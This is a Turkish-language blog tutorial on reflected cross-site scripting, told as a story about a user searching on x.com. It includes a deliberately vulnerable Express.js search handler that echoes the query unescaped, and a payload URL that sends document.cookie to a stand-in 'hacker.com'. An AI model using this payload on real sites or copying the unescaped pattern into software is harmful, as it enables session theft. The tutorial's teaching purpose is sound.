Hikayemizin kahramanı (x kullanıcısı), her sabah yaptığı gibi bilgisayarının başına geçer ve en sevdiği web application olan x.com'a girmek ister.

None

1 — İstek (Request): X user, tarayıcısına adresi yazar ve "Enter"a basar. Bu aslında sunucuya giden bir mesajdır: "Selam x.com, ben X user. Bana profil sayfamı gösterir misin?"

2 — Yanıt (Response): Sunucu X user'ı tanır ve ona özel hazırlanmış HTML kodlarını geri gönderir. X user'ın ekranında http://www.x.com adresinin içerik sayfası belirir.

Pekala, yapabileceklerimiz sadece sayfaya bakmak mı? Aslında tabii ki değil.

None

Response'un İçinde Ne Gizli?

Kullanıcı x.com'dan yanıt aldığında, bu yanıt sadece ekranda gördüğümüz renkli butonlardan ibaret değildir. Sunucudan gelen paket iki ana bölümden oluşur:

1. Response Headers (Üstbilgiler)

Görselde belirttiğim gibi burası paketin "etiket" kısmıdır. Tarayıcıya şu talimatları verir:

  • Content-Type: "Sana bir HTML dosyası gönderiyorum, bunu web sayfası olarak işle."
  • Set-Cookie: "Bu senin kimlik kartın, bir sonraki gelişinde bunu bana göster." (XSS saldırganlarının asıl hedefi genellikle buradaki bilgilerdir!)

2. Response Body (Gövde)

İşte asıl olay burada kopuyor. Burası sitenin kodlarının (HTML, CSS ve JS) bulunduğu yerdir. Normal şartlarda burada sadece masum kodlar olması gerekirken, XSS (Cross-Site Scripting) saldırısında araya bir "kaçak yolcu" sızar.

😏 Hikayeye Devam: "Kodun İçindeki Casus"

X user, bilgisayarına dönen Response Body'nin içinde şöyle bir satır olduğunu fark etti:

None

1 — Girdi (Input): x user "Search" butonuna basar. Bu bir GET isteğidir. Tarayıcı sunucuya şunu der: "Hey, bana içinde 'ahmet' geçen sonuçları getir!".

None

2 — Yansıma (Reflection): Sunucu veritabanına bakar, bir şey bulamaz ve x'e şu cevabı döner: "Üzgünüm, ahmet için bir sonuç bulunamadı.".

İşte zayıf nokta tam burasıdır! Görselde kırmızı kutu içine aldığım o "ahmet" yazısı, sunucunun x user'dan aldığı veriyi hiçbir kontrolden geçirmeden olduğu gibi HTML içine (Response Body) yapıştırdığını kanıtlıyor bizlere. Ve x user bu durum için web sayfasının kaynak kodlarını incelemeye karar veriyor:

const express = require('express');
const app = express();

app.get('/search', (req, res) => {
    // Kullanıcının yazdığı "ahmet" bilgisini URL'den alıyoruz
    const query = req.query.q; 

    // KRİTİK HATA: Kullanıcıdan gelen veriyi (query) direkt HTML içine yapıştırıyoruz.
    // Bu, "Al bu kodu tarayıcıda çalıştır" demektir.
    res.send(`
        <html>
            <body>
                <h1>FourOrFour</h1>
                <p>Sorry, no results were found for <b>${query}</b>. Try again.</p>
            </body>
        </html>
    `);
});

Kodun Anatomisi: Neden "Açık Kapı" Bırakıyoruz?

X user kaynak koduna baktığında dehşete düşüyor. Çünkü yukarıdaki kodda iki büyük günah işleniyor:

  1. Kör Güven: req.query.q satırı, dış dünyadan (URL'den) gelen her türlü veriyi olduğu gibi içeri alır. Sunucu, gelen verinin bir isim mi yoksa kötü niyetli bir script mi olduğunu hiç sorgulama yapmıyor.
  2. Kontrolsüz Enjeksiyon: ${query} ifadesi, gelen o kontrolsüz veriyi alıp doğrudan HTML'in göbeğine, <b> etiketlerinin arasına fırlatıyor.

"Aman Ne Olacak Alt Tarafı Bir İsim" mi?

İşte XSS'in en büyük tuzağı budur. Eğer x user arama kutusuna sadece ahmet yazarsa her şey güllük gülistanlık görünür. Ama bir saldırgan y user'a şu "zehirli" URL'yi gönderirse:

x.com/search?q=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>

Sunucu bu isteği aldığında, y user için tarayıcısına şu yanıtı (Response) döner:

<b>
  <script>
      document.location='http://hacker.com/...'
  </script>
</b>

Ne Olacak?

  • Sunucu bu isteği alacak.
  • Kodun içindeki ${query} kısmına bu script'i yerleştirecek.
  • Y user'ın (X user) ekranında "Üzgünüm, sonuç bulunamadı" yazısı yerine "XSS_Vulnerability" yazan bir pop-up belirecek.
None

X User tarayıcısının başına geçer. Karşısında masum bir arama kutusu vardır. Ahmet oraya bir web adresi (http://siteadi.com) yazar ve "Ara" butonuna basar. İşte o anda perde arkasında şu trafik başlar:

Adım 1: İstek (The Request)

Tarayıcı, x user için yazdığı "ahmet" kelimesini paketler ve sunucuya doğru yola çıkarır.

  • İstek Türü: GET /search?q=ahmet
  • Mesaj: "Ey Web App! Bana içinde 'ahmet' geçen ne varsa getir."

Adım 2: Web App'in Cevabı (The Response)

Web App (sunucu), bu isteği alır. Veritabanına bakar, belki bir şey bulamaz ama x user'a ayıp olmasın diye ona bir cevap dönmek ister.

  • Response Headers: "Durum: 200 OK! İçerik: HTML."
  • Response Body: İşte zayıf nokta burası! Sunucu, x user'dan aldığı o "ahmet" kelimesini alır ve HTML sayfasının içine, adeta bir aynadan yansıtıyormuş gibi yerleştirir:
<div> 
  Üzgünüz, <b>ahmet</b> ismiyle ilgili bir sonuç yok. 
</div>

"Sonuç olarak; kullanıcıdan gelen her 'input', aksi ispatlanana kadar bir 'payload' muamelesi görmelidir. Çünkü siber güvenlikte en büyük açık, yazılmayan kodda değil, kontrol edilmeyen değişkendedir."

Sizlere hem YouTube kanalımda hem de diğer platformlarda daha yararlı, teknik derinliği olan ve uygulamalı içerikler sunmaya çalışıyorum. Bu yolculukta bana destek olmak, yeni CTF çözümlerinden ve siber güvenlik ipuçlarından haberdar olmak isterseniz:

https://www.youtube.com/%40Mevl%C3%BCtKamal%C4%B1/playlists